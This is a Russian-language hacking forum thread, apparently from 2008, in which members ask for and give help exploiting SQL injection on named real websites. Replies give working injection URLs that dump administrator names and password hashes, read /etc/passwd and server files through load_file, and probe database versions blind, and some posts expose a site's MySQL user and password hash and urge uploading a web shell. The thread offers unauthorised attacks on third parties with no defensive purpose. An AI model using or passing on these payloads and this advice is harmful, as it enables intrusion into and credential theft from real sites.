Ваши вопросы по уязвимостям.

Discussion in 'Уязвимости' started by darky, 4 Aug 2007.

Thread Status:
Not open for further replies.
  1. -m0rgan-

    -m0rgan- Elder - Старейшина

    Joined:
    29 Sep 2008
    Messages:
    514
    Likes Received:
    170
    Reputations:
    17
    AARON,нету там sql иньекта...
     
    1 person likes this.
  2. Thrasher88

    Thrasher88 Elder - Старейшина

    Joined:
    18 Apr 2008
    Messages:
    62
    Likes Received:
    13
    Reputations:
    0
    Подскажите, есть инъекции или нет.. непойму, вроде все "признаки" указывают на скулю, а вот что тто даже рабочие поля выявить не получается :(
    Code:
    http://smartlip.com/symbian/fileshare/flist.php?cat=1'
    Code:
    http://smartlip.com/adv/?id=1'
    Заранее, спасибо!
     
  3. AFoST

    AFoST Elder - Старейшина

    Joined:
    28 May 2007
    Messages:
    588
    Likes Received:
    485
    Reputations:
    176
    http://smartlip.com/symbian/fileshare/flist.php?cat=-1'+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13+from+information_schema.tables--%20%201
    слепая скул
     
  4. Thrasher88

    Thrasher88 Elder - Старейшина

    Joined:
    18 Apr 2008
    Messages:
    62
    Likes Received:
    13
    Reputations:
    0
    А как тогда что то выводить? :/
    или если скуля слепая, то все бесполезно?
     
  5. AFoST

    AFoST Elder - Старейшина

    Joined:
    28 May 2007
    Messages:
    588
    Likes Received:
    485
    Reputations:
    176
    http://forum.antichat.ru/showthread.php?t=43966 пункт 3.ЧТО ДЕЛАТЬ ЕСЛИ ОТСУТСТВУЮТ ВЫВОДИМЫЕ ПОЛЯ.
     
  6. cric.cric

    cric.cric Elder - Старейшина

    Joined:
    2 Jun 2008
    Messages:
    47
    Likes Received:
    4
    Reputations:
    -5
    Доброе время суток!
    Кто можеть подсказать как юзать скул ошибку!
    [​IMG]
    Дело было так я использовал эксплойт для определение верси с античат с темы:Обзор уязвимостей CMS [Joomla,Mambo] и их компонентов

    Вот сам так скажем эксплойт
    [​IMG]

    И когда я использовал эксплойт то пройжошла мускул ошибка!

    Как можно юзать эту мускул ошибку !
    Какие сценари можео выполнять с помощью этой ошибки!

    Версия самого движка 5.2.1

    Зарание всем спосибо!
     
  7. cric.cric

    cric.cric Elder - Старейшина

    Joined:
    2 Jun 2008
    Messages:
    47
    Likes Received:
    4
    Reputations:
    -5
    извеняюсь за ошибку там я имею введу скул ошибку а не мускул!
     
  8. Thrasher88

    Thrasher88 Elder - Старейшина

    Joined:
    18 Apr 2008
    Messages:
    62
    Likes Received:
    13
    Reputations:
    0
    Спасибо! Не подскажите, если вы пользовались прогой Marathon Tool (как раз для blind-SQL), то там в поле "Target base URL" нужно вводить просто http://smartlip.com/symbian/fileshare/flist.php?cat=1 или http://smartlip.com/symbian/fileshare/flist.php?cat=-1' ?

    А то что то я вручную найти таблицы не смог, да и прога почему то не хочет :(

    Для определения БД пробовал такие варианты:
    Code:
    http://smartlip.com/symbian/fileshare/flist.php?cat=1+and+substring(version(),1,1)>1--%20%201
    http://smartlip.com/symbian/fileshare/flist.php?cat=1+and+substring(version(),1,1)<5--%20%201
    http://smartlip.com/symbian/fileshare/flist.php?cat=1+and+substring(version(),1,1)=5--%20%201
    И во всех результатах ничего не выводится, точнее ошибок не выводится..
     
    #4028 Thrasher88, 8 Dec 2008
    Last edited: 8 Dec 2008
  9. Korney

    Korney Member

    Joined:
    10 Aug 2007
    Messages:
    26
    Likes Received:
    14
    Reputations:
    0
    помогите раскрутить скуль
    hххp://kpi.ua/board/index.php?action=list_messages&section_id=2&module=1'
     
  10. R1dex

    R1dex Elder - Старейшина

    Joined:
    17 Sep 2008
    Messages:
    255
    Likes Received:
    132
    Reputations:
    19
    http://kpi.ua/board/index.php?action=list_messages&section_id=-1+union+select+concat_ws(0x2f,name,pwd)+from+document.nuke_authors+limit+0,1--


    http://kpi.ua/board/index.php?action=list_messages&section_id=-1+union+select+load_file(0x2F6574632F706173737764)--
     
    #4030 R1dex, 9 Dec 2008
    Last edited: 9 Dec 2008
  11. Korney

    Korney Member

    Joined:
    10 Aug 2007
    Messages:
    26
    Likes Received:
    14
    Reputations:
    0
    Tigger тебя интересует реальный путь к серверу ?
     
  12. Pashkela

    Pashkela Динозавр

    Joined:
    10 Jan 2008
    Messages:
    2,750
    Likes Received:
    1,044
    Reputations:
    339
    2 Tigger:

    http://kpi.ua/board/index.php?action=list_messages&section_id=2&module=1'

    mysql user:
    hellcat
    -------
    mysql password:
    *155D9B0E48F5A1A1981B225E4C8D9C2A2A87E608
    -------
    file_priv:
    Y
     
    #4032 Pashkela, 9 Dec 2008
    Last edited: 9 Dec 2008
  13. Tigger

    Tigger Elder - Старейшина

    Joined:
    27 Aug 2007
    Messages:
    936
    Likes Received:
    527
    Reputations:
    204
    mysql.user и я сам нашел и через нее тоже пробывал. А это не реальный путь... нету на сайте папки /data/ и коммон тоже нету... бред это... даже доменя имя другое =/
     
    1 person likes this.
  14. DimOnOID

    DimOnOID Banned

    Joined:
    5 Dec 2006
    Messages:
    407
    Likes Received:
    126
    Reputations:
    4
    http://kpi.ua/job/index.php?action=list_messages&section_id=-3+union+select+load_file('/usr/hosting/www.ntu-kpi.kiev.ua/data/common/include-board/Query.class')/*
    какой же это бред? ...повезло..даже ковычГи проходят...исчи папку для записи..и го шелл...
     
    2 people like this.
  15. Pashkela

    Pashkela Динозавр

    Joined:
    10 Jan 2008
    Messages:
    2,750
    Likes Received:
    1,044
    Reputations:
    339
    Путь реальный, просто надо найти папку с соответствующими правами
     
  16. Thrasher88

    Thrasher88 Elder - Старейшина

    Joined:
    18 Apr 2008
    Messages:
    62
    Likes Received:
    13
    Reputations:
    0
    Подскажите, как такую SQL- инъекцию раскрутить:
    Не получается подобрать кол-во полей, все время ошибка вылазит..
     
  17. aka PSIH

    aka PSIH Elder - Старейшина

    Joined:
    7 Feb 2006
    Messages:
    595
    Likes Received:
    298
    Reputations:
    51
    Thrasher88
    inj в LIMIT, не раскрутишь... =\
     
  18. Thrasher88

    Thrasher88 Elder - Старейшина

    Joined:
    18 Apr 2008
    Messages:
    62
    Likes Received:
    13
    Reputations:
    0
    А вот эта:
    Вроде бы что то схожее...
     
  19. cric.cric

    cric.cric Elder - Старейшина

    Joined:
    2 Jun 2008
    Messages:
    47
    Likes Received:
    4
    Reputations:
    -5
    Доброе время суток!
    Что можно с этим сделать есть скул иньекция на этом сайте !
    Движок jomla версия помоему либо 1.1 либо 5.2.1
    http://aing.kz/index.php?option=com_content&task=vote&id=1&Itemid=1&cid=1&user_rating=1,rating_sum=[sql]
    Кто может помочь как залить шел или что-то плиз помогите!

    А еше забыл еше отметить вход админ ку можно через http://aing.kz/administrator
    Заранее спасибо!
     
    #4039 cric.cric, 9 Dec 2008
    Last edited: 9 Dec 2008
  20. -m0rgan-

    -m0rgan- Elder - Старейшина

    Joined:
    29 Sep 2008
    Messages:
    514
    Likes Received:
    170
    Reputations:
    17
    Чёт у меня не открывается твой сайт=((
    Ты урл правильно указал???
     
Loading...
Thread Status:
Not open for further replies.